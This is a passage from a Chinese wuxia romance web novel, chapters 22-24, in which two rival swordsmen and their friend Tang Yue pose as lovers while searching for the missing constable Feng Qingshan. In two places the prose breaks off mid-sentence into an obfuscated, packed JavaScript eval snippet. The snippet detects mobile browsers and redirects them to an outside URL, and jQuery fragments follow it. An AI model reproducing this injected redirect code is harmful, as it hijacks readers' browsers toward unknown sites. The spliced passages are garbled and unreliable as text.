“你要我一直下山?我的家从来只在山上,我的家人只有那些师兄弟姐妹,而你算什么东西,要我频频邀请不来,还要和你——和你这样的人去下山?” 高悠悠愤怒极了。 愤怒才使得他说这许多许多不像是他的话。 而郭暖律听了这话。 只是沉默了许久许久。 久到唐约都有点脸色发白,久到高悠悠都有点觉得话是否重了的时候。 郭暖律豁然抬头去看向他,那种难以形容的冷酷尖锐已重新回到脸上。 “那我们之间,没什么好说的了。” 一刀两断。 斩钉截铁。 再不回头! 高悠悠一愣,就看见对方毫不犹疑地转过身,马上就要走。 “你知不知道自己体内存有我的内力!你知不知道没有我的话,你十日之内就一定会……” 他明明想说出一句挽留的软话,可是太久的磋磨和疏离已经磨走了他说软话的能力,以至于他想说的话到了嘴边,经过尊严的过滤,只剩下一句句冰冷又坚硬的,毫无人情味儿的威胁。 听得唐约那眉头是皱得又臭又难看。 郭暖律没有回头。 只是淡淡道:“我知道的。” 【我当然想过,可是死在你指尖蕴含的内力下,是我想的几个结局里很好很好的一种了。】 【不知那是否能动摇你上山的决心,可使你重新思考一下下山这个可能性么?】 高悠悠震惊在场。 他就这么走了? 就这么……要走了? 从前他和自己厮杀到你死我活,厮杀到几乎手筋断裂,厮杀到差点变成残废,差点无法用剑,他也甘之如饴,他也从未走过的…… 可现在……现在明明交心,明明被他邀请,明明方才是那么的开心和幸福的…… 他为什么要走!? 为什么要离开!? 高悠悠茫然地张了张口,心中的恐惧和迷惑使他此刻竟不像是成名已久的“神佛无相”高悠悠,不像是那个杀伐果决无视人心多年的高悠悠,而更像是一个无措彷徨的迷路人,看着郭暖律离开的背影,而无法想象下一步会是什么。 可这时,有人戳了戳他。 高悠悠往旁边一看。 唐约。 他此刻宽和无言地笑了笑,指了指自己的脖子。 好像在说——虽然不想帮你,可是再不帮的话,好像这场好戏我就看不下去了呢。 好像也在说——这回我若是帮了你,你会怎样啊? 高悠悠目光陡然一亮,心中竟突兀地生出一种如临救星般的微暖感觉。 好,这次你帮我,就算我欠你一回吧! “——郭暖律你给我站住!” 郭暖律本来不愿站住。 他好不容易才下定决心让自己离开最喜欢的人,只为了让对方能够看清楚,能够重新考虑下山这件事。 结果他听到响动,他必须回头。 却发现——高悠悠的手指正冷酷无情地搭在唐约的脖子上。 “我要你的命,你无所谓。那我要他的命,你也无所谓?“ “你还敢继续往前走!?” 郭暖律有些惊楞地看了看他。 然后去看了看唐约。 唐约只冲着他无奈且无辜地笑了笑。 郭暖律的脸上都快要挂不住表情了。 22.即便十日也要你留下 唐约觉得有些无语。 其实他一开始指着脖子,纯粹是想要对方给自己解掉哑穴,好让自己开个口,说个话,劝个和。 本来唐约看到高悠悠那神采奕奕兴奋飞扬的样子,就觉得有点不妙。 等到对方的手指递过来不是在解穴而是搁在脖子上的时候,唐约就更觉得不妙。 可一旦看到郭暖律那有点挂持不住、崩持不住的眼神,他就不是觉得不妙。 而是觉得……这样挺妙的了! 毕竟这场戏看到一半就戛然而止,到底还是有些不太舒爽的。 郭暖律是人类,而高悠悠是类人。本来物种不同是该有点生殖隔离的。 但他俩间似有若无的感情就是——绝顶至尊混血仙品! 所以他没躲。 乖站在原地。 等那致命的刀子般的兰花花瓣一般的手指搁过来。 然后有幸地,在这场宿敌和宿敌之间的美好互动里,同时承担了人质和守护者的角色。 宿敌一号郭暖律神色一凛:“你在干什么?” 宿敌二号高悠悠则发冷笑:“你莫非是有点眼疾?没看见我挟持住了他?” 说话间,他那根漂亮的手指蛰伏在唐约的脖子上动脉处,在清晨微光下,有一座玉雕雪凝,然后落于人间以专门使你惊艳的错觉。 郭暖律不是觉得这根手指不漂亮。 只不过…… 他只语气淡淡道:“你挟持了他?我看不见啊。” 高悠悠一愣:“你……” 郭暖律的笑好似一种跳跃的符号在唇齿之间流动。 “这种手段都用得出来?你是不是有点诡计穷尽了?” 【虽然有点蠢但好有意思,虽然有意思但真有点蠢……】 高悠悠咬着一口森冷的银牙:“蠢的是你!你以为装看不见就可以糊弄过去?须知我下一刻就可以要了他的命!” 声音疾厉如雷,好似真的能下杀手能下死手一般。 郭暖律这回干脆连话都不说了。 只用手指闲适地弹了弹伸展出来的剑锋,好像一个乐手在弹自己的乐器一般那样无所谓。 场面就这样诡异地陷入了僵持。 僵到高悠悠有点疑惑地看了看。 对方太了解他,正如他也了解对方,而有时这种了解就成了桎梏成了枷锁,要如何走下去才能解呢? 忽然,旁边又有人戳了戳他。 人质唐约。 他再指了指自己漂亮纤细的脖子,这根漂亮的脖子也确实被他仰出了一种匀美白润的弧度,经得起高悠悠的手指这么一搁而不减弱锋芒和光彩。 而高悠悠觉得,唐约可能是嫌自己的手指搁得不够近以至于显得这挟持不够专业,于是正要干脆地将这素白莹润的武器摆得更近时…… 唐约的身子骤然之间绷紧。 且眉头几乎是皱得像几只黑猫叠在一起扭来又扭去。 让一旁的郭暖律看得摆出了一种难以形容的表情。 “他想让你把他穴道解开,让他说个话吧。” 高悠悠这才悟,装作早明白一般地解穴。 唐约瞪他:“以后还点我?” 高悠悠道:“你不点我的话,谁又会去点你?” 唐约的白眼翻得美如鱼珠:“我是不是帮了你,你是不是欠了我?” 高悠悠沉默。 猛地大幅度地用力扭过头。 像一只倔强在猫在墙角炸背别头。 不说话就是默认了。 唐约又看向郭暖律。 ”我是不是也救了你,你是不是也欠了我?” 郭暖律点头:“下坠时一掌之恩,难忘难失。” 这还算点人话嘛。 获得了情绪价值的唐约这才松了口气:“你们都欠了我的情,那我要你们一起给我做事,不过分吧?” 高悠悠面上冷漠心里却在兴奋。 这小子总算能想出一个借口帮他把郭暖律留下来了?然后他就可以在这十日内说服对方上山。 从此他在山上和对方日日夜夜一起切磋武功,他就可以彻底把那些讨人厌、惹人烦的师兄弟姐妹抛在脑后了。 郭暖律面上冷漠心里却更兴奋。 【这小子总算能想出一个借口让我继续去说服悠悠?然后他就可以在这十日内和我下山了?】 【从此在山下我就和悠悠每日夜都一起玩,他就可以彻底把那些讨人厌、惹人烦的师兄弟姐妹抛在脑后了。】 唐约先摸了自己的脖子——还在,伸了个天大懒腰——舒展。 “我知道你们两个都想要说服对方。” “可有时越是一心为对方好,越会向着错误的方向较劲,古往今来皆如此。” “不是还有十日么?你们和我一起去查个案子吧。” 高悠悠忽道:“你来救我们,是不是一早就这么想?” 这倒不是纯恶意地揣测,因为唐约行事却有其用意。 起初他会不顾代价地出手,救一批人帮一堆好汉,开始不提要求,后来却会在某个时间阶段,请他们出山——再救一批人,帮另一堆好汉。 救人和救人形成循环。 好汉和好汉堆成罗汉。 就这样形成人情人脉的永动轮回,他唐约永在救人或在救人的路上,而人情永在偿还和被偿还的途中,他靠这样积侠累名,年纪轻轻混了个什么“唐大侠”的雅号。 高悠悠平日里觉得,他有点过于滑头和功利。 可在这时,在这能帮他留下郭暖律的这时刻。 滑头是好滑头。 功利是好功利。 唐约是唐大侠…… 嗯……暂时这样没错。 唐约只跳上马车的边缘,在车上摆摆手道:“你们别傻站着啊,聚过来听我讲个故事呗,这事儿说来话长……” 郭暖律皱着眉道:“话长就别讲了。” 他希望对方直接说事儿而不是说故事儿,太长了。 唐约一愣。 第一次见这么不给面子的。 然后他求救似的看向了一旁的高悠悠,高悠悠则直接去瞪了郭暖律一眼。 “这小子就爱啰里啰嗦扯一套。让他扯吧。不然不知道又想什么鬼办法去折腾人。” 虽是在骂人,但承认了他要铺垫的重要性,好悠悠! 郭暖律单纯就是懒得听开头,于是抱剑靠在马车外壁,人如松柏依山崖,站似清风旋玉璧。 而高悠悠则干脆一跃而上,占据马车的顶部而端然盘坐,清晨的万丈光芒在他身后如跃动的光圈冉冉升起,使他如仙如佛一般高坐塔顶,只不过此刻是马车顶。 倒是唐约在马车中,居二人间,他清了清嗓子问: “‘青衫神捕’封青衫,听说过吧?” 高悠悠当即眼一厉,连郭暖律那种闲适且冷淡的神情也跟着一顿。 这怎么可能没听说过呢? 在本朝公门府衙里,欺男霸女的不少,滥收苛税的普遍,伪造冤假错案,糊涂抓人误判,或故意帮富人洗脱,或故意帮恶人助长欺善风气的衙役捕快,更不计其数。 所以与大家设想的不同。 底层捕快这个职业一直为百姓所嫌。 中层捕快这个阶级则为绿林好汉所厌。 高层捕快这个位置则是大家都深深忌惮。 然而封青衫不同。 出道至今,除了极恶极毒无救之人…… 没有人嫌他,没有人厌他,没有人真的去忌惮他。 因为他是堂堂七大名捕之一。 自出道以来,这人素以公正持平为名,以守护秩序为骨,平了不知道多少冤假错案,抓了不知道多少天怒人怨的贼,不受贿也不错判,不欺压也不仗势,清廉得过了分,平日里就靠着微薄的工资去过活。 所以在这烂泥烂屋瓦翻遮的公门里,他像是一股清流。 以至于黑与白的两道,人间和山上的两端,都对他有着高度的评价。 毕竟,没人不喜欢真正的好人。 封青衫就是个真真正正的好人。 且是公权力中的好人。 这更难得了! 就这样一个人,和高悠悠郭暖律也是有些渊源的,毕竟他们当年在边塞之所以初见,之所以打起来,之所以打到最后跌到一个地下密牢里。 就是因为——高悠悠见过封青衫,敬佩封青衫的为人,想帮他去抓一个逃犯。 因此和郭暖律起了冲突。 冲突到最后都抱一起了。 从此开始了长达一年的你追我杀缠绵纠葛。 唐约就道:“我从某渠道得知,四月前勉州驻守的陈将军离奇暴毙,疑中毒而死,封青衫就去附近的庚子山查这毒的来源,可一去就没了音讯,如今失踪接近三个月,你说奇不奇?” 高悠悠以一种好没见识的眼神蔑视他:“这有什么好奇?封青衫为了查案常一去就是几月不回,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078209|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时甚至会舍身卧底,你是不是没了解他们办案的时长?” 刚给我面子现在又不给了,好悠悠变坏悠悠也太快了。 唐约瞪他回去:“他就算几月不回,中间也必去信通知同僚,可如今一连三月无音讯,连个口信也没,说是失踪不对吗?” “而且,庚子山又不是什么险山恶地,封青衫好端端地去了那儿,不过就是查个毒,人就没了,你也不觉得怪?” 高悠悠这次倒是想了想。 “确实有些怪,按道理那儿也没什么高人邪派,以封青衫的本事不至于陷在那儿。” 唐约道:“这次向我求助的,就是他那没有收到任何回信的同僚,人家都觉得有危险,你们帮不帮我去查?” 高悠悠冷笑:“怎么帮?我莫非长了一张擅长查案的脸?” 唐约就冲他挤眉弄眼,高悠悠立刻居高而下看向郭暖律——头顶上落的树叶。 而郭暖律则把头顶的树叶取了下来,凝神看了一会儿,接着轻轻一吹拂,如吹着一朵儿娇嫩的小花儿,眼看那叶子在空中几个起落旋转徘徊,终究落在了大地之上,他的心似乎也跟着一起落了地。 “勉州那儿有个苗山寨,以用毒下毒和收留江湖上的闲散边缘人而出名,封青衫大概是去了那儿。” “想要靠近那片寨子,正常男人是不可以的。” 唐约奇道:“男人不可以,那女人就可以?” 郭暖律道:“除了女人,也可以是太监。” 唐约心里咕哝——你说这话的时候为什么看向我? 郭暖律又道:“可以是兔爷。” 高悠悠心内奇怪——你说这话时为什么抬头瞪我? 郭暖律冷笑:“也可以是女人装扮的男人。” 高悠悠更觉奇怪——你说这话的时候为什么谁也不看,就看自己? 郭暖律则直直看向他。 “我过往是有扮成女子去杀淫恶大贼的经验,但今日我不太想扮,所以男扮女装这件事就……” “交给你了——唐约。” 唐约忽的一愣。 不是……怎么就,怎么就交给我了啊? 郭暖律又淡淡道:“这件事我和你去就可以了,似高悠悠这等金贵如仙子般的男子,自是吃不得这种苦的。” 高悠悠冷笑道:“你小看谁?谁说我吃不了查案的苦?这小小苦楚我完全可以……” 郭暖律立刻道:“那你女装吧。” 高悠悠忽的一楞。 不是……怎么就,怎么就从唐约女装变成他女装了? 郭暖律淡淡道:“我可以牺牲自己,扮作兔爷或者太监。这已是很公平了。” 高悠悠怒道:“不公平!你有经验女装就该你来!什么交给唐约交给我,不过是托词!” 郭暖律淡淡道:“好,那我女装。” 他立刻看向高悠悠,一口气不间断地提出:“你要扮作最风流花心的兔爷,越靠近苗山寨,越由你来负责抱我、亲我、负责让我魂牵梦萦爱不释手……你也可以做几件你方才就想做的事儿。” “苗山寨常收留兔爷,对其见怪不怪,但这是对我男子尊严的巨大折磨,是对我的极大羞辱,可为了救人,为了接近苗山寨而不被察觉,就十日之间,你觉得可以吗?” 高悠悠看着他这一本正经面无表情地做出牺牲的样子。 ……这对吗? 这不对吧? 郭暖律想了想,看向唐约道:“他有些犹豫,不如还是你女装,我来扮兔爷,由他来扮演太……” 高悠悠冷笑道:“明明我们两个一起扮作兔爷就可以了!用得着谁来女装?也太糟蹋女子声名了!唐约来扮……” 他忽然有些说不下去。 因为方才还冷漠无表情的郭暖律,此刻眼睛正亮晶晶地看着他。 唇角也勾起了一个巨大的月亮,好像嘲讽又好似憋笑。 “你说得对。” 【其实我在兔爷里,见过‘男妻’这个行当。】 【短时租赁,可与别的兔爷做临时的露水夫妻,可一旦租赁时间到,男妻就会远离。】 【我在想,我和你,即便是谈十日就要无疾而终的情,即便是露水,是闪电,是我来短租你,或你来短租我这十日就要了我的命,也好过……一生只做宿敌吧。】 【你说对吧?】 【……你为什么这么瞪我啊?】 【…………你的脸怎么忽然变得和屁股一样红啊!】 23.演夫妻不如真做 高悠悠和郭暖律在马车里彼此对望的时候,唐约负责驾车。 高悠悠在顶上端坐,而郭暖律在车内整理仪容,试图变得更像兔爷一些的时候,唐约依旧在负责驾车。 高悠悠在车内换上郭暖律准备的稍贵一点儿的衣衫,让整个人显得柔和些,而郭暖律在一旁悄悄看他的时候…… 唐约依旧依旧在负责驾车。 但是驾车的心情还算不错。 毕竟有戏看,有两个白天仙黑天仙一般的美人在他面前表现得亲昵又扭捏,别扭又亲密,有高悠悠这个不想当兔爷,但是答应了郭暖律就认真地全力以赴地去演去做的人,有郭暖律这个明知自己可能只有十日寿命,且明知这结果是对面那人造成的,还在那儿眼神明亮通透的人在。 那他的心情也很难出错。 真可爱,真可悲。 真是可亲可怜的一对啊。 可是,自以为真善良的唐约的心情,终究还是出现了滑坡。 因为他们越来越接近苗山寨。 越接近,越能看到以下人群。 被夫家赶走以至于无处容身的弃妇,被婆婆打骂愤而出走的女子,急着私奔的情人们,互相搀扶的兔爷和契弟,被辱了身子折了嗓子无处可去的戏子,在行业里搞坏了身体不得不退下来的男妓和小倌,有异装癖喜欢乔装成女子的男子。 一路上全是。 越是靠近苗山寨的路上越是。 各色人群,各色的无奈与彷徨,各色的悲哀与希望,各色的暗怀与鬼胎。 那寨主是个什么样的人?怎会想到收留这些人? 唐约有这样的疑惑,但他按住不说。 高悠悠有这样的疑惑,他就直接问了。 “郭暖律,那寨主是个什么人?” 自从知道自己可能只有十日命,且是由自己喜欢之人造成的,郭暖律就变得有些急躁,比如唐约的故事他都不爱听,唐约的问题他也并不总是答。 但由于这问是高悠悠发的,他就很耐心地解释了一番。 “寨主叫做苏意府。“ 这曾是个世家王侯的公子,结果世道中落举家被抄,自己也落得个无亲无故无余财的下场。 给自己曾经的同窗好友接济了一段时间,终究不济,就去当了戏子,红了段儿时间,和男妓搞上了,自己的手艺下降了,不红了,就也去当男妓。 之后常披上女装,当了男妓也不忘在馆阁里登台、戏台下演戏,又红了,又被同行陷害了,这时想起自己还有一身武艺,自己和那穷山恶水的苗寨里还有一些家族过往的联系,他就来了这勉州附近的苗山。 来了就来了,来了还慢慢积攒人心,靠着长袖善舞,口有玲珑,腿合有度,靠着他擅长用毒,却不用毒去害人而是去保护庇护人,他就慢慢地做成了苗寨的主人。 他因过往的经历,也有心收留这些被夫家、被社会、被同道所不容的边缘人。 郭暖律是这样陈述的。 唐约则是这样感慨的。 “我本觉得这当山寨领袖的出不了好人,好人就当不了山寨领袖,可是这人……好像真是个好人啊。” 郭暖律道:“这年头,不去打家劫舍祸害底层已是好的,还想倒反天罡去庇护底层、托举底层的,不是好人又是什么?” 高悠悠以一种轻讽的语气说道:“可是……你口中的这个好人却是一个用毒的高手,枕塌之间吹出的枕头风都是有毒的,把你吹死也未可知呢。” 郭暖律瞪了他一眼,凉笑道:“那和我有什么关系?我看上去很像是喜欢和人睡在一个枕塌上的人么?我怎么不觉得?” 【和悠悠睡在一个枕塌上倒是不错,可以整晚不睡,专门去看他在睡梦里会翻几个白眼。】 【不知道到了半夜,他身上是否会发出草药和大米的糯糯味儿,或者会发出一种独特的布料浸过的酸臭味儿?】 这回轮到高悠悠瞪他一眼:“恶心死了!你这样说干什么?” 郭暖律奇怪地看他一眼。 自己说的话很正常啊,哪儿就惹了这人恶心? 他皱了皱眉:“你最近,好像总在说一些莫名其妙的话啊。” 有的时候会和郭暖律说的话完全无关,是顺着郭暖律心里的话接下去的,有的时候会莫名其妙地发怒、发羞、发一些难以理解的恼,当然了,毕竟是高悠悠,高悠悠无论如何生气好像都是可以理解的呢。毕竟是高悠悠嘛。 唉等等……他为什么能直接顺着郭暖律心里的话接下去? 郭暖律心中忽迸发出一种强烈而尖锐的预感。 一种难以言明的困惑间杂着一个个烧得滚烫的念头在心中来回徘徊、打转,好像把过往的细节都一点点地端出,以至于在心内辗转时,一个匪夷所思的可能性越来越深厚了…… 可是……怎么可能…… 他身上不由自主就靠得离唐约的马车口那边近了点儿,可能是想看看别的风景,可能是想和唐约聊上几句以获取下一步的计划。 结果高悠悠贴近了一点。 郭暖律又离马车口近了点。 结果高悠悠又贴近了一点。 郭暖律也近得都快被挤下去了。 连唐约都已经有点看不下去,用眼神示意他往马车里面挤挤,不要再往外挤省的把他给挤下去的时候…… 高悠悠一个手指钩连,冲着郭暖律不太尊敬地勾了一勾。 “过来。” 他瞪着郭暖律说这话,像个训狗的家长又像个抱狗的孩子。 郭暖律冷淡道:“我方才过去,你就往里面挤,我朝出口坐,你就非要跟过来,你这人在干什么?” 高悠悠认认真真道:“我在保持我喜欢的距离……而且,你我说好了要一起演兔爷,你老往他那边挤什么?” 郭暖律沉默了。 明明提出计划的人是他,看似信心满满的人也是他,可是,一旦到了真的要贴近高悠悠的时候,他又在怕。 他怕极了高悠悠会不喜欢他的接触。 因为第一次见面的时候,他脱了高悠悠的上杉去抱着他,去用自己的胸膛去暖对方,对方就一副极厌恶极恼恨的样子。 郭暖律能理解对方当时的感受。 他自己也这样极度厌恶很多人莫名而来的接触。 可在这些不成型的潜意识背后,郭暖律在面上只是冷笑:“过来干什么?过来看你的白眼吗?” 高悠悠却认真道:“我答应的事儿,无论什么时候都是要做到,既要演做男妻男夫,自是认真一点儿。” 郭暖律愣了愣,狂喜的心情几乎有些压制不住的时候…… 他也只是淡淡道:“哦,你知道怎么演么?” 高悠悠楞了一楞。 他竟然首先看向了驾车中的唐约——的那个漂亮背影。 唐约看上去不是兔爷,但笑得也够婉约柔和,笑得够兔爷,够骄矜做作得了,只怕今日不做,以后也做得了的。 学他,总没错! 然后他就看到了郭暖律蹭蹭地挪过来,眼睛明亮如星辰那样看着他,郭暖律的双手还伸了出来,在他的腰间比划了一下。 高悠悠奇道:“你比划什么?” 郭暖律淡淡道:“你方才换过这件稍微贵一点儿的衣衫后,你的腰带有些松了,我替你紧一紧。” 这有什么好紧……张的呢? 高悠悠故作强笑:“好啊,你要做这等下人的事就随你……你做什么呢!?” 郭暖律的手在腰带上先是熟练灵巧地一解,然后就使得高悠悠的上素白杉与下百褶裙之间出现了非常明显的缝隙,几乎到了遮掩不住的时候,郭暖律的手又及时地交接而上,环了腰翻过来,如翻飞舞动的蝴蝶一般带着腰带在他的腰间轻系、浅过。 也因要系腰带,他几乎贴得和高悠悠……无限近! 高悠悠呆了一呆。 他从生下来之后,从未和一个男人面贴面得……如此近! 之前舞斗的时候至少还会避开面门,之前郭暖律在初见时也抱了他,可他那时分明是未曾清醒的昏迷状态。 可如今……清醒得,彻底地,完全无分寸无躲闪地…… 这么近。 虽然只是这刹那的一瞬。 可当郭暖律的眼睫无限靠近,那如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087233|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同沙漠黑珍珠一般粉肤色也无线贴近他的眼帘时,没有任何一个人能准确点出高悠悠这一刻的心情。 就像困倦的时候,有人给他递上了一段儿黑得五彩斑斓的丝绸被子,让他想脱了自己身上的粗布,让丝绸把自己裹起。 对,裹起来。 就像口渴的时候,有人给他端来了一盘莹然熏润的黑葡萄,看一眼就想吃,瞅一眼就想戳一下那润润的球,想吸上去…… 对,吸上去。 嫌弃人恶心的高悠悠,这一刻忽然变得无比惶恐。 因为,他发现自己也想做一些很令自己恶心的事情。 自己讨厌的东西,恰恰是自己内心深处很想很想去做的事。 怎么能这样呢? 怎么会这样呢!? 所以,当郭暖律贴得那么近,近到以为自己已经被完全接受了,哪怕是在这一短短的瞬间这一小小的马车内时。 高悠悠忽然把他推开。 郭暖律身上一僵。 恍如一个即将被大赦天下的人,忽被抓回重判了死刑。 高悠悠嘴里还嘟囔道:“恶心……好恶心……” 郭暖律面上冷冰冰地盯着他。 心里却一时难过地说不出话。 他很难过。 但难过时只需把一切情绪掩埋,伤心时只用装作愤怒的样,想躲起来时就去瞪着对方。 这样就够了。 这一直都够。 就在他转身的瞬间,碎碎念十几次恶心后的高悠悠忽的深吸了一口气,又冲了过来,这一次,他还无比坚定地,死攥住了郭暖律的袖子。 然后他指了指自己的腰带。 刚刚已被郭暖律系好的腰带,被郭暖律打了个蝴蝶结的腰带,此刻被高悠悠故意弄扯了,松松垮垮地在那儿不成形。 “你系得一点儿也不好。” 高悠悠冷冷道。 “我一扯就松了,你重新来,重新系!” ……这天底下什么东西你扯了能不松?锁链你扯了都能松! 郭暖律在心内嘲笑,面上却淡淡道: “你捣乱也有个尽吧?自己弄松了让人系?拿人当牛马使呢?” 高悠悠沉了几分脸:“你过来系一下腰带,再帮我整一下靴子,我的大腿有点麻了,我不想自己低下身去弄这些。” 郭暖律冷笑:“你娇生冠养的和我有什么关系?我帮你弄?为什么你不先帮我整衣衫,理帽冠,我的腰带也没人管啊?” 高悠悠沉默了几分。 “你的腰带……给我。” 唐约听得里头那窸窸窣窣的动静,遥想着那袖里的倩影衣下,应当是那雪白的肤色和与蜜糖一般的肤色混合在一起,像那冰霜融了酱油一般全是各种滋味,脸上不禁泛出了一种蜜雪般的笑。 奇怪……人为什么,总能从别人的幸福感里汲取幸福呢? 他以后也能获得这样的幸福么? 唐约漫无目的地想着想着,他忽看见前方传来了动静,连前去苗山寨的各色人群也起了一阵阵骚动。 “喂你们两个别在里面系腰带了!快出来看看。” 不须他说,高悠悠和郭暖律早就听到动静,早就挤了过来一起看。 果然看见了前方是一行公差衙役,为首的人正和后方交流,看不清正面面目,只知骑着高头大马。带着绣金鱼的腰带和一方腰牌,后方似乎是押着一辆木质囚车,囚车里还有发丝凌乱,低眉垂眼的犯人。 唐约笑道:“看来我们这回是白担心了,封青衫这肯定是抓着了凶犯,和衙役们一起把凶犯给押解回来了……” 高悠悠本来也是这么想。 直到他用力看了看那囚车里的人。 等等。 他的面色陡然凝重起来。 囚车里的人,怎么会那么像是……? 他凝了神色也凝了呼吸频率,他同时看向郭暖律,对方也是眼眸冷肃得如蛰霜埋雪,而唐约更是惊呼出声儿。 “这……这不是我们要找的……”” “封青衫!?” “他怎么会被锁在囚车里!?” 24.演的是什么桥段 封青衫作为捕头,且是名捕,实际上是经常使用囚车的。 他曾经花一个月时间抓了一个人溺死数十妇孺的江南水匪,把其重枷捆绑放在囚车里,也曾经以浑厚掌力去震碎了那时常灭门的恶魂谷谷主蒙断天,使其一路在囚车里到了盛京受审,更是曾经亲手抓住自己几个贪黑钱、断黑案的贼官差,一并抓在囚车里押解上公门。 可如今他自己坐在了囚车里。 使用者变成了被用者。 名捕成了被捕。 且他低眉垂眼,发丝凌乱,脸色惨白,脸上几乎是青一块儿紫一块儿的,淤血和干涸的血痕浑身都是。 好似受了什么不轻的伤。 或者说是刑讯。 看得唐约震惊在场。 郭暖律眉眼凝重到了几乎凝结。 而高悠悠,他的心房如被一只桩子重重地打了一下,以至于里面喷溅而出的全都是——义愤、悲哀、以及强烈的困惑! 怎么这样的人都能坐在囚车里? 且押解他的人全都是官差? 那骑着高头大马的是官差,且是品级次于封青衫的勉州当地捕快——丁寄春。 那官差后方的是一个身穿青绿色袍服的人,看着是官,可那模样那气势却又猥琐了点儿,不像是个大官。 那列次于他的人则是七个行止一致、装饰一式、容样一样的紫衣人,且个个带着一样的阔口弯刀和贴身冷刺。 除了这八个,居然还有两个眼熟的老人。 “莲花小判”商道莲,与“朦河剑”方朦河。 别问他们是故意而不是不小心出现的。 但这已经是他们第三次出现还没死了。 高悠悠面色冷了下来。 拳头却硬了起来。 只见那囚车暂停,却不是因为百姓的跟随,而是因为日头正晒得毒辣,使得官与兵与随行的马都需要在树荫下暂停歇息,可尾随的百姓也不敢靠得太近,只在大太阳底下盘坐着。 高悠悠心知有异,刚要上前,唐约便拦在他身前,轻声咬道:“先别动手,这情况看着有些不对劲,要不你和老郭去找人盘问盘问?我单独找人问问,咱们分开行事可好?” 高悠悠冷脸道:“不好。” 好什么好? 等不是他的风格。 等是他敌人的风格也是他同门的风格。 他的风格字典素来只有一个字——冲! 唐约当即跨了脸,有些恼道:“你这人……” 没说完,但也觉得争论无趣,就自己下去了。 高悠悠刚要下去,就被一只手按在了肩上。 郭暖律的手。 郭暖律的眼则像一双寒夜里幽幽的船灯,亮了高悠悠这心。 使他克制了自己当场震甩开这只手的冲动。 “冲上去确实可以打个措手不及,但除了囚车,封青衫身上还有沉重的枷锁,脚上还绑了锁链,你没办法保证能在一瞬间解开枷锁链条而不伤了他,你也没办法保证自己救人时,这些官差不会一攻而上。” “所以,冲还是等?” 郭暖律这样问。 “我可以等。”高悠悠面色冰冷地看了看他,“但我只给你一炷香,你速去搜检情报,别落后了他。” 郭暖律也充满警惕地看了看他,像瞪一个随时会炸的炸火管,按在他肩上的手如一管冰冷的玉搭在四处流动的液体上,微带麦色的指尖微微往下发力,扣在肩头靠近雪白的脖颈一侧,如弹琴时靠近中轴一般,明明是发力却在诱人呢。 “你和我一起去,我要你认真演下去,别演砸了。” 说完他就拉着高悠悠的手,也不顾对方的反应,就这么拉着拉着往前冲,高悠悠本人都有点楞。 但这次有点克制不住。 他直接就甩开了郭暖律的手。 导致郭暖律有些僵硬地立在前方,脚往前走了一半都能顿在半空,然后无奈地收回来。 他接着猛一回头,冷眼瞪着高悠悠。 那神情那姿态,像学习能手在看一个不认真学习的优等生,极不满意对方此刻的不配合。 高悠悠又想冷瞪他回去。 然后又一次听到了那久违的清亮的少年音。 【悠悠你这次忍得比上次久啊,有进步哦。】 高悠悠沉默片刻。 终究还是跟上了。 虽然跟上,却还是不许对方在大庭广众之下拉手。 只允许自己伸出手,手上五指都扯着对方的袖子。 慢慢扯,慢慢走。 他们就这样慢慢地,轻轻地,有力地走着,像天涯下的两道孤影融在了一起,像相似却不完全相同的两把剑被强行放在了一个匣子里。含锋也含锐,相异却相依。 方向不是朝囚车,而是朝那些守着的百姓。 走着走着。 郭暖律困了。 打了个哈欠,往小麦色的皮肤上适当地抹了一点儿汗。 然后拉着高悠悠一起坐下了。 就这么坐在了百姓堆里。 不消说,大家肯定都很好奇地盯着他。 毕竟你如果看见两个长得很漂亮的男人就这样不牵手也不搭肩,而是一个扯住另外一个的袖子,和小朋友被大朋友拎着过来似的这样走来。 你肯定也会好奇。 好奇他俩究竟是什么毛病。 郭暖律任由高悠悠这么扯着他的袖子,自己也是随意瞅瞅,找了一个中年男子询问,只因那中年男子此刻也和他的爱人勾肩搭背,本就是腻歪得很,看见他们过来也有点好奇。 可是,当郭暖律问这囚车是怎么回事儿,为什么这些百姓跟着囚车一道儿走的时候。 那人就有些警惕,就不怎么说话了。 瞧二人的装扮形容,不似是要去苗山寨的人,这人就转过头,不理他二人了。 眼见对方不配合,郭暖律只凝声吟道:“苗千道儿骷髅洞,山不知水下,桥与河让个行。” 那人一楞,下意识地就答道:“粉万痕儿白鹭影,雨不冻雅雀,屋予人留个晌。” 高悠悠觉出这二人一前一后,是在说一些江湖春典,也就是行业间共通或地域间公用的黑话,有些剑拔弩张的场合下,说点像样的黑话,那剑就拔不出弩就张不了,而相反有些不那么紧张的场合,若是用错了典说错了话,那哪怕本来能和平的场面也平复不下来,本来能解除的冲突也就一飞冲天了。 果然,那中年男子与郭暖律这么应答后,眉眼舒缓,颜绽笑开,面上的防备和警戒,就像积年的寒冰被一锤子凿下,瞬间凿碎融化了。 化解防备是好事儿。 不过,为什么对方不但化解了戒备,还用这种奇怪暧昧的眼神去看着他们啊? 那中年男子道:“我叫老乔,敢问小哥和这位……是怎么个钉怎么个锤法?” 